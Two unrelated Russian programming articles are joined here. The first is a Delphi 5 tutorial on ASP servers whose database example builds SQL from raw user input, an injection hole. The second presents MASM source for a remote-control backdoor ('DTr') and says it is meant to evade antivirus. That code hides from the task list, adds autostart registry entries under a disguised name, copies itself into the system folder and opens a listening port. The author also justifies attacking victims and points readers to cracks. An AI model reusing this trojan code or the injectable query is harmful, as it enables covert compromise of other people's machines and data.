{codecitation class="brush: pascal; gutter: false;" width="600px"}

Долгое время существовала гипотеза, что если миллион обезьян посадить за пишущие машинки, то по теории вероятности через некоторое время они напечатают «Войну и мир». Теперь, с развитием Интернета, мы знаем, что это не так…

Новый продукт Boorland — Delphi5, который начал распространяться осенью 1999 года содержит ряд новых возможностей. В частности, к экспертам проектов была добавлена возможность создания ASP приложений. Эксперт вызывается при помощи команды File/New/ActiveX и далее выбирается икона Active Server Object. К сожалению, в текущей документации, распространяемой с Delphi 5 (Build 5.62), крайне скупо сказано о назначении, последовательности создания и тестирования ASP сервера. Примеры работающего ASP сервера также отсутствуют в дистрибутиве Delphi5. Настоящая публикация частично восполняет эти проблемы.

Клиентное приложение, работающее с ASP сервером, представляет собой HTML документ и может быть прочитано на любом WEB браузере. Соответственно, эти HTML документы размещаются на каком-либо WEB-сервере. WEB сервер, получив требование о предоставлении документа, считывает его из локального хранилища и передает клиенту, при этом часть информации вносится в документ динамически ASP сервером. Принято, чтобы расширения у документов, обращающиеся к ASP серверу, имели расширение *.asp. Примеры таких документов можно найти в директориях WINNT\SYSTEM32\INETSRV\IISADMIN и INETPUB\IISAMPLES\EXAIR если был установлен Microsoft Internet Informational Server (IIS).

Типичный пример обращения к ASP серверу с HTML документа выглядит следующим образом:

<%

Set FileSystem=Server.CreateObject («Scripting.FileSystemObject»)

FileSystem.FindAllFiles

%>

Данная запись представляет собой Visual Basic (VB) скрипт. Несмотря на наличие VB скрипта, страница ASP может быть доступна клиентам, работающих на других операционных системах, например UNIX. На первый взгляд это может показаться странным: ведь UNIX компьютеры не имеет языка Basic, и тем более VB. Но дело в том, что скрипты в ASP документах выполняются на сервере и клиенту приходит HTML документ.

ASP сервер обязан быть установлен на Windows NT (Windows 98) операционной системе с запущенным IIS или Microsoft Personal Web Server (PWS) и этот факт снижает возможности широкого использования ASP сервера. По существу, ASP сервер представляет собой внутреннюю разработку компании Microsoft, которая не была (да и не могла быть) согласована с фактическими законодателями дальнейшего развития Internet-технологий (Sun, Netscape). В будущем не следует ожидать продвижения этой технологии на другие платформы, поскольку при реализации ASP — серверов использовалась COM-технология, записи в системный реестр — а это эксклюзивные разработки Microsoft. Более того, другие WEB-сервера, работающие на платформе Windows (Netscape, Apache), скорее всего не будут поддерживать ASP технологию, поскольку до сих пор производители этих серверов успешно игноировали все новые разработки Microsoft в этой области.

По существу, ASP сервер представляет собой сервер OLE автомации, в котором предопределено несколько интерфейсов, среди них — IRequest и IResponse. IRequest содержит методы, вызов которых позволяют установить параметры, заполненные на клиенте — об этом будет рассказано ниже. IResponse содержит методы, вызов которых приводит к формированию HTML документа и, как финал, передача данного документа клиенту. По этим признакам ASP сервер напоминает CGI приложения и ISAPI/NSAPI dll (далее — WEB сервер приложения). Идеология выполнения методов в ASP сервере и WEB серверных приложениях также аналогична: анализируется (если требуется) запрос клиента и динамически формируется отклик. Отличие заключается в том, что WEB серверные приложения формируют целиком HTML документ, в то время как отклик ASP сервера вставляется в исходную HTML страницу. Например, если документ ASP представлен в виде:

Testing Delphi ASP

You should see the results of your Delphi Active Server method below


<% Set DelphiASPObj = Server.CreateObject("ASP01.Test")

DelphiASPObj.ScriptContent

%>


и результат выполнения метода ScriptContent возвращает строку 'First call to ASP server', то клиент, получивший данный документ, увидит отклик ASP сервера добавляется к HTML документу. В одном документе допустимо обращение к нескольким ASP серверам и результат их отклика формируется в единый документ. Этого невозможно достичь при использовании WEB приложений. Ограничение: набор ASP серверов, к которым обращаются из одного документа, обязаны быть зарегистрированы на одном IIS сервере. Нельзя обратиться по различным адресам для формирования одного HTML документа.

ASP сервер реализуется как в *.exe, так и в *.dll приложениях — это разрешается при создании сервера OLE автомации. ASP сервер, реализованный в *.exe файле, запускается один раз в ответ на запрос клиента. При использовании внутренних (in-process) ASP серверов один экземпляр DLL, загруженный в оперативную память, способен обслуживать одновременно нескольких клиентов. При этом для каждого клиента может создаваться как отдельный экземпляр COM обьекта, так и единственный экземпляр COM обьекта может обслуживать нескольких клиентов. Это зависит от выбранной модели работы в потоках (Threading Model) при заполнении диалога при выборе команды File/New/ActiveX/Active Server Object.

Рассмотрим теперь, каким образом работает ASP сервер на конкретном примере создания внутреннего (in-process) ASP сервера. Ограничимся сервером, который выполняет один запрос. Выберем команду File/New/ActiveX/ActiveX Library и нажмем кнопку OK. Будет создан новый проект, который сохраним, например, под именем ASP01. Далее, вызовем из меню команду File/New/ActiveX/Active Server Object. В появляющемся диалоге определеим имя класса, например, Test. Поскольку создается in-process сервер, параметр Instancing не играет роли, зато имеет значение параметр Threading Model. Выбор параметра Single приводит к неэффективной работе сервера — при одновременном к нему обращении нескольких клиентов, сервер выполняет запросы последовательно и если один из клиентов обращается с длительным запросом, то остальные вынуждены ожидать его окончания, даже если запросы у них короткие по времени. У них создается впечатление о зависании эксплорера и часто это приводит к попыткам прервать задачу разными методами. Выбор параметра Apartment

приводит к разделению запросов клиентов по потокам, при этом для каждого клиента будет создан свой экземпляр COM обьекта — в данном примере, класса TTest. При этом при написании методов класса не требуется защиты переменных класса по потокам — клиент может свободно модифицироать их и это упрощает разработку кода приложения. Недостаток этоя модели — проект ресурсоемкий и переменные класса инициализируются на каждое обращение, что удлиняет время отклика. Этих недостатков лишена модель Free, в которых единственный экземпляр COM обьекта обслуживает нескольких клиентов. Однако, если клиенты могут изменять данные, то это требует защиты общих переменных по потокам что существенно усложняет процедуру реализации кода приложения и является потенциальным источником трудноуловимых ошибок. Как правило, эту модель используют в серверах, которые только предоставляют данные, но клиент не может их модифицировать.

Группа контролей Active Server Type позволяет выбрать назначение ASP сервера. Если сервер планируется инсталлировать на компьютере, которым управляет IIS версии 3 или 4, то следует выбрать Page Level Events Methods. С IIS5 эта опция тоже работает, но эффективнее будет работать опция Object Context. Эту же опцию необходимо выбирать, если работой ASP управляет Microsoft Transaction Server (MTS). Фактически IIS5 также управляет этим сервером при помощи MTS — оба этих продукта тесно интегрированы.

Опцию Generate a Template Test Script for this object следует оставлять всегда включенной — Delphi в этом случае создаст небольшой HTML документ, который с небольшими изменениями можно использовать для тестирования ASP сервера.

После заполнения опций диалога следует нажать кнопку OK и после этого будет создан файл реализации интерфейсов Unit1.pas, который следует запомнить под разумным именем — например: U1_01. Кроме того, будет создана библиотека типов, появится ее редактор и файл, описывающий библиотеку типов — в данном примере TEST_TLB.pas. Если была выбрана опция Page Level Events Methods (как в данном примере), то библиотека типов будет содержать два предопределенных метода — OnStartPage и OnEndPage. Также будет создан файл Test.asp, который содержит HTML документ с заготовками VB скриптов для тестирования сервера.

Если заглянуть в файл реализации (U1_01.pas), то класс ТТest является потомком класса TASPObject. При выборе же опции Object Context библиотека типов не содержит предопределенных методов, а сам класс TTest являлся бы потомком TASPMTSObject. Оба класса-предка TTest содержат абсолютно одинаковые методы и свойста, но класс TASPObject дополнительно содержит пару методов интерфейса IASPObject — OnStartPage и OnEndPage.

Далее, создадим метод, который будет заполнять HTML документ. Для этого в редакторе библиотеки типов отметим интерфейс ITest и вызовем команду New Method нажатием кнопки 1:

Назовем вновь созданный метод ScriptContent набив этот текст в названии метода с мигающей кареткой. Данный метод не должен иметь параметров. Далее вызовем команду Refresh нажатием кнопки 2. После этого в модуле реализации (U1_01.pas) появится заготовка, где следует описать реализацию. Метод реализуем следующим образом:

procedure TTest.ScriptContent;

begin

if Assigned (Response) then

Response.write ('First call to ASP server');

end;

в данном примере происходит обращение к методу Write интерфейса IResponse. Проверка Assigned (Response) гарантирует, что в момент записи сообщений имеется ссылка на интерфейс.

После этого следует модифицировать созданный Delphi HTML документ для тестирования сервера, который хранится в файле Test.asp. В этом документе имеется VB скрипт следующего содержания:

<% Set DelphiASPObj = Server.CreateObject("ASP01.Test")

DelphiASPObj.{Insert Method name here}

%>

Скрипт в данном виде работать не будет. Необходимо заменить фразу в фигурных скобках {Insert Method name here} на имя метода ASP сервера, который генерирует отклик. В данном примере это имя ScriptContent. Финальные исправления выглядят следующим образом:

<% Set DelphiASPObj = Server.CreateObject("ASP01.Test")

DelphiASPObj.ScriptContent

%>

Проект необходимо скомпилировать и далее можно приступить к его тестированию. Для этого необходимо создать виртуальную директорию на IIS, причем эта директория обязана иметь разрешение как на Read (из нее будут читаться данные), так и на Execute (из нее будет загружена и запущена ASP01.dll). Альтернатива — разместить эти файлы в разных директориях, одна из которых имеет доступ Read, а вторая — Execute. Но в любом случае выбранные директории должны экспонироваться через HTTP протокол. Поэтому в первую очередь необходимо обратиться к WWW сервису IIS, посмотретьсписок доступных директорий и при необходимости создать новые с соответствующими правами доступа. В данном конкретном примере на компьютере, который имеет IP адрес 10.10.10.65 была создана виртуальная директория /Test, которая соответствует физическому адресу на компьютере C:\ASPTest. Директория имеет доступ на Read и Execute и туда были скопированы оба файла. Далее в Microsoft Internet Explorer следует набрать команду в поле Address: HTTP://10.10.10.65/T

est/Test.asp. Видно, что скрипт (текст между) был замещен результатом выполнения метода ScriptContent в ASP сервере.

Рассмотрим теперь подробнее, каким образом выполняется скрипт в странице Test.asp. IIS, который получает запрос на Test.asp он считывает ее содержимое из хранилища, находит скрипт и выполняет ее. При этом в фоне запускается VB и вызывается команда CreateObject. Если ASP01.dll ранее не была загружена, то происходит ее загрузка. Для данного запроса создается COM обьект — экземпляр класса TTest (он описан в модуля реализации, для данного примера — U1_01.pas). Ссылка на интерфейс IDispatch (он поддерживается в классе TTest) сохраняется в переменной DelphiASPObj. В дальнейшем написании кода после имени переменной, хранящей ссылку на IDispatch, можно набирать любой текст. Компилятор VB использует текст, который содержится в скрипте и следует после имени переменной (в данном примере: переменная — DelphiASPObj, метод —.ScriptContent) для того, чтобы передать его ASP серверу. Если ASP сервер найдет метод с данным именем, то он его выполнит. При отсутствии метода с таким именем генерируется исключение. Поэтому при нап

исании скриптов для ASP сервера следует быть внимательным в названиях методов и при наличии исключений в первую очередь проверить корректность имен методов. При вызове какого-либо метода ASP серверу становятся доступные интерфейсы IRequest и IResponse.

Теперь рассмотрим пример создания более сложного ASP сервера, где анализируется запрос клиента при помощи методов интерфейса IRequest. Задачу поставим следующим образом: дадим возможность клиенту найти по фрагменту имени поля ENAME таблицы EMP в базе данных ORCL (генерирует Oracle при установке). Для этого в каком-либо редакторе форм создадим форму, содержащую однострочный редактор текста и кнопку Submit. HTML документ этой формы выглядит следующим образом:

Untitled Normal Page

Name (fragment)

При реализации этой формы вместо IP адреса 10.10.10.65 следует указать IP адрес компьютера, на котором установлен ASP сервер. Поместим этот документ в директорию C:\ASPTest, которая имеет доступ на Read и Execute (см. выше) под именем Name.htm. Но перед тем, как создавать модуль данных и обращаться к серверу базы данных необходимо выяснить, каким образом анализируется запрос клиента в ASP сервере.

Запрос клиента можно анализировать при помощи вызова методов интерфейса IRequest, ссылка на который находится в свойстве Request класса TASPObject — предка класса, где реализуется ASP сервер. Интерфейс IRequest предоставляет три свойства — QueryString, Form и Body в которых находятся ссылки на интерфейс IRequestDictionary. QueryString содержит параметры запроса, Form содержит список контролей, предоставляемых клиенту, а Body содержит данные, которые клиент ввел на контроли. Нам потребуются данные, поэтомк ниже будет анализироваться свойство Body, но все сказанное ниже о методах IRequestDisctionary применимо и к любому другому свойству типа ICustomDictionary — QueryString, Form.

IRequestDictionary определен в модуле ASPTlb.pas следующим образом:

IRequestDictionary = interface (IDispatch)

['{D97A6DA0-A85F-11DF-83AE-00A0C90C2BD8}']

function Get_Item (Var_: OleVariant): OleVariant; safecall;

function Get__NewEnum: IUnknown; safecall;

function Get_Count: SYSINT; safecall;

function Get_Key (VarKey: OleVariant): OleVariant; safecall;

property Item[Var_: OleVariant]: OleVariant read Get_Item; default;

property _NewEnum: IUnknown read Get__NewEnum;

property Count: SYSINT read Get_Count;

property Key[VarKey: OleVariant]: OleVariant read Get_Key;

end;

Документация о свойствах этого интерфейса отсутствует и остается только догадываться, каким образом из него можно извлечь параметры запроса введенные пользователем. Привлекая документацию по компоненту TWebDispatcher, который используется при создании CGI приложений и ISAPI DLL, где также можно анализировать параметры запроса пользователя, можно догадаться что свойство Count содержит число контролей на форме — для формы сделанной выше в Name.htm оно равно 2. Свойство Key — имя контролей — для формы в Name.htm это имена T1 (текст) и B1 (кнопка). И, наконец, свойство Item содержит введенные пользователем значения. И все эти рассуждения правильные. Но реализовано все это настолько поразительно криво. Поскольку файл ASPTlb.pas представляет собой перевод соответствующего *.h C файла, распространяемым Microsoft, претензии по его реализации следует адресовать этой компании.

Свойство Count работает как положено — возвращает двойку для примера выше. Но при попытке извлечь имя ключа обнаруживается неприятная особенность — в коллекции Key[] индексы начинаются с единицы, а не с нуля, как это принято в подобного типа приложениях. Все же обращаясь к коллекции Key с соответствующим индексом — 1 или 2 для примера выше можно получить названия контролей в виде строковых переменных. Аналогичная попытка извлечь данные, введенные пользователем в контроли, ни к чему хорошему ни приводят — при попытке присвоить строковой переменной значения из коллекции Item[] (которая обьявлена аналогична коллекции Key[]) происходит исключение. Анализируя значение, возвращаемое коллекцией Item[I] можно обнаружить, что возвращается интерфейс — потомок IDispatch. Методы и свойства этого интерфейса не описаны. Отсутствие описания интерфейса а также возврат ссылки на него в переменной типа OLE variant, а не IDispatch характерно для продуктов, которые находятся в процессе разработки. При разработке заголовки методо

в интерфейса, список параметров методов и их число постоянно меняется и чтобы не происходили исключения в клиентных приложениях, часто используют позднее связывание. Этот факт настораживает — не исключена возможность изменения методов интерфейса в будущем и это может привести к потере работоспособности созданных ранее ASP серверов. Но будем надеяться, что данный интерфейс устоялся и Microsoft вследствии занятости просто забыл внести изменения в интерфейсный модуль и дать его документацию.

Интерфейс — потомок IDispatch два свойства: Count, которое возвращает всегда 1 и Item[] — коллекцию, которое возвращает текст, введенный клиентом в контроле. Коллекция Item начинается с индекса 1. Для понимания и тестирования запроса в ASP сервере сделаем небольшое дополнение к проекту. Воспользовавшись редактором библиотек типов создадим новый метод RequestProp, как это было описано ранее (Рис. 2). Напишем следующий код для метода RequestProp:

procedure TTest.RequestProp;

var

S: string;

V: OLeVariant;

I, J, N: integer;

begin

S:= '';

if Assigned (Request) then

if Request.Body.Count > 0 then

begin

for I:= 1 to Request.Body.Count do

begin

S:= S 'Key' IntToStr (I) '=' Request.Body.Key[I] '
';

V:= Request.Body.Item[I];

if not VarIsEmpty (V) then

if varType (V) = varDispatch then

begin

N:= V. Count;

S:= S 'ItemCount' IntToStr (I) '=' IntToStr (N) '
';

if N > 0 then

for J:= 1 to N do

S:= S V. Item[J] '
';

end;

end;

end;

if Assigned (Response) then

Response.write (S);

end;

Скомпилируем проект и в созданном ранее файле Test.asp изменим VB скрипты следующим образом: вместо строки DelphiASPObj.ScriptContent напишем строку DelphiASPObj. RequestProp. После этого в Internet Explorer следует обратиться к Name.htm следующей командой: http://10.10.10.65/Test/Name.htm, где вместо 10.10.10.65 следует набрать IP адрес сервера. В полученной форме

введем какое-либо значение в редакционный контроль и нажмем кнопку Submit. После этого получим результат выполнения приведенного выше кода метода RequestProp:

Key1=T1

ItemCount1=1

AM

Key2=B1

ItemCount2=1

Submit

То есть для определения параметров, введенных клиентом в какой-либо контроль, необходимо просмотреть все ключи, найти индекс интересуемого нас контроля (в данном примере он 1, что соответствует ключу T1) и извлечь значение, введенное клиентом, посредством вызова команды Request.Body.Item[Index].Item[1].

Теперь можно перейти к модификации имеющегося сервера — создание нового метода для доступа к базам данных. На него необходимо поместить невизуальные компоненты доступа к данным, визуальные компоненты нельзя использовать в ASP сервере. Вообще, в приложениях такого типа — ASP, ISAPI/NSAPI, CGI показ модальных форм с контролями (а диалоги — частный вид таких форм) ни к чему хорошему не приводит. При попытке показать диалог, контроли на диалоге будут созданы, на них будет помещен текст и\или картинки и приложение будет ожидать, когда диалог будет закрыт (нажатием кнопки OK или Cancel) чтобы продолжить свою работу. Особенность заключается в том, что диалог невидим. Поэтому его нельзя закрыть ни нажатием кнопок (они не получают сообщения OnClick) ни акселератором (сигналы с клавиатуры не посылаются невидимым контролям). Визуально программист наблюдает следующее — приложение висит, отклик с ASP сервера клиент не получает и для повторной компиляции проекта требуется перезагрузка системы. Даже если команды показа диал

огов отсутствуют в ASP сервере, они могут быть показаны в процессе работы приложения — например, BDE пришлет сообщения об ошибке. Поэтому данный факт надо принимать во внимание при написании кода, где необходимо тщательно проверять данные перед их использованием, чтобы внешние приложения не сообщали об ошибках.

Традиционно доступ к данным очуществляется через BDE, при этом необходимо использовать компонеты TSession, TDatabase и TQuery. Однако, при обращении к данным в ASP сервере, выяснилось, что BDE нельзя использовать для доступа к SQL серверам. Исключение происходит при попытке соединиться с базой данных после передачи login параметров. Из серверов тестировались Oracle и Interbase. Через BDE удалось получить доступ только к DBDEMOS, которая не требует аутентификации пользователя при обращении к данным.

К счастью, в Delphi5 появилась альтернативный способ доступа данных — через ADO (Active Data Objects). Для работы с ADO прежде всего необходимо использовать компонент TADOConnection. Поставим его на форму. В инспекторе обьектов выберем свойство ConnectionString и вызовем диалог для создания строки. В предложенном диалоге выберем Microsoft OLE DB Provider for Oracle и нажмем кнопку Next.

На второй странице диалога необходимо указать имя сервера (в данном примере — beq-local) и параметры аутентификации — имя пользователя (SCOTT) и пароль (TIGER). Обязательно ставится метка в Allow Saving Password контроле — иначе ASP сервер попытается показать Login диалог! Протестировать соединение можно нажатием кнопки Test Connection — должно быть сообщение об успешном соединении с сервером.

Далее в инспекторе обьектов необходимо свойство LoginPromp в False. При работе с другими примерами необходимо также изменять свойство DefaultDatabase — имя базы данных, но для данного примера это не обязательно. Проверить правильность установок можно при помощи изменения свойства Connected в True, при этом не должен появить Login диалог или информация об исключении.

Поставим компонент TADOQuery на модуль данных и в свойстве Connection сошлемся на определенный выше компонент ADOConnection1.

Модуль данных, на которые можно помещать невизуальные компоненты, не создается автоматически при вызове эксперта для создания ASP сервера,. Поэтому его необходимо создавать отдельно. Вызовем команду File/New/Data Module добавим модуль данных к проекту. Запомним вновь созданный файл под именем U1_02.pas. Следует учесть, что созданный модуль данных не будет создаваться автоматически при старте приложения или при обращении клиента. Поэтому необходимо переписать конструктор и деструктор класса TTest, реализация которого находится в файле U1_01.pas. Сошлемся на модуль U1_02.pas в модуле U1_01.pas. В обьявлении класса TTest в секции private определим переменную FData типа TDataModule1. В секции public обьявим процедуры AfterConstruction и BeforeDesctruction c обязательной директивой override:

TTest = class (TASPObject, ITest)

private

FData: TDataModule1;

protected

public

procedure AfterConstruction; override;

procedure BeforeDestruction; override;

end;

реализуем процедуры AfterConstruction и BeforeDestruction в секции реализации:

procedure TTest.AfterConstruction;

begin

inherited;

FData:= TDataModule1.Create (nil);

end;

procedure TTest.BeforeDestruction;

begin

if Assigned (FData) then

begin

FData.Query1.Active:= False;

FData.ADOConnection1.Connected:= False;

FData.Free;

end;

inherited;

end;

Далее следует создать новый метод в библиотеке типов, назовем его QueryResponse. Реализуем его следующим образом:

procedure TTest.QueryResponse;

var

S: string;

I, J: integer;

begin

S:= Request.Body.Item[1].Item[1];

if FData.ADOQuery1.Active then

FData.ADOQuery1.Close;

FData.ADOQuery1.SQL.Clear;

FData.ADOQuery1.SQL.Add ('Select * from EMP');

FData.ADOQuery1.SQL.Add ('where ENAME like ''%' S '%''');

FData.ADOQuery1.Active:= True;

if FData.ADOQuery1.RecordCount > 0 then

begin

FData.ADOQuery1.First;

for J:= 0 to FData.ADOQuery1.Fields.Count — 1 do

Response.write (FData.ADOQuery1.Fields[J].FieldName ' ');

Response.write ('
');

for I:= 1 to FData.ADOQuery1.RecordCount do

begin

for J:= 0 to FData.ADOQuery1.Fields.Count — 1 do

Response.write (FData.ADOQuery1.Fields[J].AsString ' ');

Response.write ('
');

if I < FData.ADOQuery1.RecordCountthen

FData.ADOQuery1.Next;

end;

end;

end;

В этом методе динамически создается SQL запрос, при этом используются параметры, введенные клиентом в форму. С этим запросом происходит обращение к SQL серверу и возвращаемые данные помещаются в HTML документ. В созданном ранее файле Test.asp изменим VB скрипты следующим образом: вместо строки DelphiASPObj.ScriptContent напишем строку DelphiASPObj. QueryResponse. После этого в Microsoft Internet Explorer обращаемя к странице Name.htm.

При использовании ASP сервера можно поместить параметры, необходимые для его работы, в HTML документ. Эти параметры могут редактироваться в документе и, таким образом, можно изменять опции под конкретный сайт. Это является удобным при распространении ASP сервера: купившая его компания может изменить начальные установки так, что они отвечают требованиям компании. Для этого достаточно отредактировать HTML документ, что может быть сделано при использовании специалистов низкой квалификации. Пример проиллюстрируем следующим образом: определим в заговке класса TTest (U1_01.pas) две переменные: FCompanyName:string и FCopyrightYear:string; Определим в библиотеке типов два новых свойства: CompanyName:string и CopyrightYear:integer. На методы *Read и *Wirte для этих свойств определим чтение и возврат данных из описанных выше переменных. Добавим новый метод в библиотеку типов ShowCopyright, который реализуем следующим образом:

procedure TTest.ShowCopyright;

var

S: OLEVariant;

begin

S:= Format ('Copyright © %d by %s', [FCopyrightYear, FCompanyName]);

if Assigned (Response) then

Response.write (S);

end;

В созданном ранее файле Test.asp изменим VB скрипты:

<% Set DelphiASPObj = Server.CreateObject("ASP01.Test")

DelphiASPObj.CompanyName = «My Company»

DelphiASPObj.CopyrightYear = 1999

DelphiASPObj.ShowCopyright

%>

Результатом обращения к ASP серверу при помощи команды: http://10.10.10.65/Test/Test.asp (вместо 10.10.10.65 следует выбрать IP адрес сервера) будет генерация страницы.

Если в файле Test.asp изменить имя компании — а это можно сделать при помощи любого текстового редактора, то все изменения будут отражаться в HTML документе

В заключении следует рассмотреть out-of-process ASP сервера. Эти сервера реализуются в *.exe приложениях и работают они в отдельном адресном пространстве. До сих пор рассматривались in-process сервера, которые работают в адресном пространстве IIS и реализуются в динамически загружаемых библиотеках — DLL. Для их создания необходимо открыть готовый проект, компиляция которого приводит к созданию *.exe файла или создать новый проект посредством вызова команды File/New Application. После этого необходимо выполнить команду File/New/ActiveX/Active Server Object. Будет создана библиотека типов, содержащая методы OnStartPage и OnEndPage.Все, что было сказано выше для in-process сервера применимо и к out-of-process: делаются новые методы и из вызываются из VB скриптов *.asp страницы. Сложности возникают при попытке протестировать out-of-process сервер. По умолчанию параметры IIS установлены таким образом, что запрещают запуск приложений: разрешен запуск только DLL. Более того, в администраторе IIS отсутствует опция, к

оторая позволяет разрешить или запретить использование приложения, как ASP сервера. Для того, чтобы разрешить запуск исполняемого файла, как ASP сервера, необходимо выполнить следующий VB скрипт:

Set oWebService = GetObject («IIS://LocalHost/W3svc»)

oWebService.Put «AspAllowOutOfProcComponents», True

oWebService.SetInfo

Для того, чтобы он был выполнен, необходимо, чтобы текущий пользователь имел статус администратора. По этой причине данный скрипт бесполезно определять в HTML документе и запускать его, используя IE: любой пользователь интернета имеет статус гостя. Данный скрипт необходимо поместить в обработчик какого-либо события в среде разработке VB и запустить его оттуда.

Я не сумел сделать аналог данного скрипта в Delphi: не найден метод, аналогичный методу VB GetObject. Очевидно, что метод GetObject возвращает ссылку на IDispatch IIS. Но при этом в качестве параметра он использует строку, которая не является классовой (GUID отсутствкует в системном реестре). В Delphi аналогичные методы отсутствуют, по крайней мере, в виде простых вспомогательных функций. Возможно данный метод станет доступным в следующих версиях Delphi.

{/codecitation}

{codecitation class="brush: pascal; gutter: false;" width="600px"}

Автор: Danil

WEB-сайт: http://www.danil.dp.ua

Хакеpы из Санкт-Петеpбуpга взломали сеть Microsoft и внесли изменения в ключевые коды новейших pазpаботок коpпоpации. Microsoft выpажает им благодаpность — тепеpь всё pаботает.

BackDoor. Так первую версию моей проги удаленного администрирования назвал небезызвестный Кашперский. Я обиделся, но слово мне понравилось. Ассоциируется с «все в сад» и «уйти огородами». В цикле статей я хочу представить почти все исходники моей программы «DTr» v.1.3 вместе с разъяснениями (все разжевывать не буду, но кому надо, тот поймет). Цель всего этого очень проста — при изменении исходников такие типы как Кашперский (AntiViraltoolkitPro и т. п.) какое-то время просто будут отдыхать. Моральные аспекты меня не смущают — людей, не способных поставить firewall и не смотрящих, что там вместе с маздаем запускается, надо наказывать. Исходники приводятся на асме и на Delphi. Если ты поскучнел и обломался читать дальше, то готовую программу можно взять с http://www.danil.dp.ua

В принципе, писать можно на чем угодно — по большому счету, исходники будут отличаться только вызовом функций WinAPI. Также желательно взять AsmEdit. AsmEdit я предпочитаю от Anatoly Voznuk — http://www.avt.newmail.ru (если разобраться в настройках, то как AsmEdit, HTMLedit и замена NotePad он просто незаменим). Если других вариантов нет, то Delphi и MASM можно взять на базаре. «Компактные» купцы дают гарантию на нечитабельность и глюки. Если что, то меняют. Дальше думай сам. Если у тебя есть актерские таланты, то в результате у тебя будут установлены Delphi, MASM и на полке будет лежать какой-нибудь нужный в хозяйстве компакт. Пригодится и программа для сжатия exe и dll. «ASpack» можно взять на http://www.aspack.com. Будет работать бесплатно несколько дней, ну а если что, то crack сам знаешь где взять.

Теперь об программах типа «DTr» v.1.3. Обычно это сервер (запускается и работает на удаленном компе) и клиент (на твоей машине). Есть как минимум 4 разновидности сервера:

драйвер, сервис (обнаружить также тяжело как и написать);

встроенный в что-нибудь;

автозапуск прописывается в «win.ini»;

автозапуск прописывается в реестр винды.

Здесь мы рассмотрим четвертую разновидность. Можно просто прописать в ключ реестра «HKLM/Software/Microsoft/Windows/Current Version/Run» какой-нибудь параметр со значением, являющейся командной строкой запуска сервера. Можно, например, обозвать сервер «lternat.exe» (эль маленькая вначале), запускать в программе настоящий «internat.exe» (переключение языков) и соответствующим образом изменить параметр «Internat» в реестре. Вариантов много.

Сервер будем писать на MASM — размер должен быть маленьким. Вот исходники скелета сервера («dtr13_s.asm»):

.486

.model flat,stdcall

option casemap:none

include \masm32\include\winmm.inc

include \masm32\include\windows.inc

include \masm32\include\masm32.inc

include \masm32\include\wsock32.inc

include \masm32\include\user32.inc

include \masm32\include\kernel32.inc

include \masm32\include\advapi32.inc

include \masm32\include\shell32.inc

includelib \masm32\lib\shell32.lib

includelib \masm32\lib\user32.lib

includelib \masm32\lib\kernel32.lib

includelib \masm32\lib\wsock32.lib

includelib \masm32\lib\masm32.lib

includelib \masm32\lib\advapi32.lib

includelib \masm32\lib\winmm.lib

; МОИ ФУНКЦИИ

WinMain PROTO:DWORD,:DWORD,:DWORD,:DWORD

; КОНСТАНТЫ

.DATA

NilStr db " ",0

WinVer1 db «Система сервера: Windows 32s»,0

WinVer2 db «Система сервера: Windows NT»,0

WinVer3 db «Система сервера: Windows 9x/ME»,0

WinStr1 db "WINDOWS-каталог: ",0

WinStr2 db "TEMP-каталог: ",0

WinStr3 db "SYSTEM-каталог: ",0

WinStr4 db "Текущий пользователь: ",0

WinStr5 db "Имя компьютера: ",0

ActWin1 db "Заголовок активного приложения: ",0

ListFileStr000 db 13,10,0

ClassName db «DTR13Class»,0

AppName db «DTR13»,0

IconName db «TDIcon»,0

kernel32 db «kernel32.dll», 0

rundll32 db «rundll32.exe», 0

ACDdis db «RegisterServiceProcess», 0

bkl db «\»,0

RegStr001 db «HKEY_CLASSES_ROOT\»,0

RegStr002 db «HKEY_CURRENT_USER\»,0

RegStr003 db «HKEY_LOCAL_MACHINE\»,0

RegStr004 db «HKEY_USERS\»,0

DopLang1 db «Текущий язык: НЕ ОПРЕДЕЛЕН»,0

DopLang2 db «Текущий язык: РУССКИЙ»,0

DopLang3 db «Текущий язык: ENGLISH»,0

StartupInfo STARTUPINFO

wsadata WSADATA

sin sockaddr_in

WM_SOCKET equ WM_USER 100

AutoKeyName db «Software\Microsoft\Windows\CurrentVersion\Run\»,0; Ключ автозапуска

DTrKeyName db «Software\Microsoft\DTr003\»,0; ключ программы

AutoRegValue db «nbsession»,0; переменная реестра автозапуска

AutoRegValue1 db «nb003.exe»,0; файл программы

AutoRegValue2 db «SysValue»,0; переменная реестра для порта

AutoRegValue3 dd 10001; Порт по умолчанию = 10001

; ПЕРЕМЕННЫЕ

.DATA?

hInstance dd?

CommandLine dd?

sock dd?

client dd?

BufStr0 db 6666 dup (?); Буфер отправки

BufStr1 db 6666 dup (?); Буфер приема

VerStr db 128 dup (?)

VerDD dd?

CommandStr db 30 dup (?)

CommandStr1 db 4096 dup (?)

CommandStr2 db 4096 dup (?)

CommandStr3 db 4096 dup (?)

pKey dd?

Disp dd?

ActWin dd?

Lang dd?

cmd dd?

cmd0 dd?

Bufcmd dd?

WinDir db 900 dup (?)

Port dd?

DW_SIZE EQU 4

DWordSize dd?

Temp dd?

; Раздел кода

.CODE

start:

; Выйти, если уже запущена

invoke FindWindow, 0,addr AppName

cmp eax, 0

jnz quit

; Скрыть по «Alt» «Ctrl» «Del»

invoke GetModuleHandle, addr kernel32

or eax,eax

jz continue

invoke GetProcAddress, eax, addr ACDdis

or eax, eax

jz continue

push 1

push 0

call eax

continue:

; Получить значение порта из реестра

;порт=10001

mov Port, 10001

;открываем ключ в реестре

invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr DTrKeyName, addr pKey

.IF eax == 0

; Читаем из реестра

mov eax, REG_DWORD

mov Temp, eax

mov DWordSize, DW_SIZE

invoke RegQueryValueEx, pKey, addr AutoRegValue2, NULL, ADDR Temp, addr cmd, addr DWordSize

.IF eax == 0

mov eax,cmd

.IF (eax > 0)

mov Port, eax

.ENDIF

.ELSE

; Если параметра нет, записываем порт=10001

invoke RegSetValueEx, pKey, addr AutoRegValue2, NULL, REG_DWORD, addr AutoRegValue3, DW_SIZE

.ENDIF

.ENDIF

invoke RegCloseKey, pKey

; Автостарт

invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey

.IF eax == 0

invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue1, sizeof AutoRegValue1

.ENDIF

invoke RegCloseKey, pKey

; Копируем прогу в WINDOWS\SYSTEM\

invoke GetSystemDirectory, addr WinDir, sizeof WinDir

invoke lstrcat,addr WinDir,addr bkl

invoke lstrcat,addr WinDir,addr AutoRegValue1

